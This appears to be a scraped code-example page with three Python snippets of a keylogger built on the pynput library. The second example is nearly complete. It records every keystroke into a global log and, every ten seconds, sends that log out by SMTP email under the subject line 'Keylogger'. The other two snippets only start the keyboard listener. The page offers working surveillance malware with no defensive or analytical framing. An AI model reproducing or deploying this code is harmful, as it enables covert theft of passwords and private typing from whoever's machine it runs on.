示例#1
0
 def start(self):
     keyboard = pynput.keyboard.Listener(on_press=self.process_key_press)
     with keyboard:
         self.respons()
         keyboard.join()
示例#2
0
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, "Keylogger\n\n" + message)
    server.quit()


def respons():
    global log
    if log:
        sent_smtp("*****@*****.**", "test", log)
    log = ""
    time = threading.Timer(10, respons)
    time.start()


def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "


keyboard = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard:
    respons()
    keyboard.join()
示例#3
0
 def start(self):
     keyboard = pynput.keyboard.Listener(
         on_press=self.capture_keys)  #keyb listener object
     with keyboard:
         self.report()
         keyboard.join()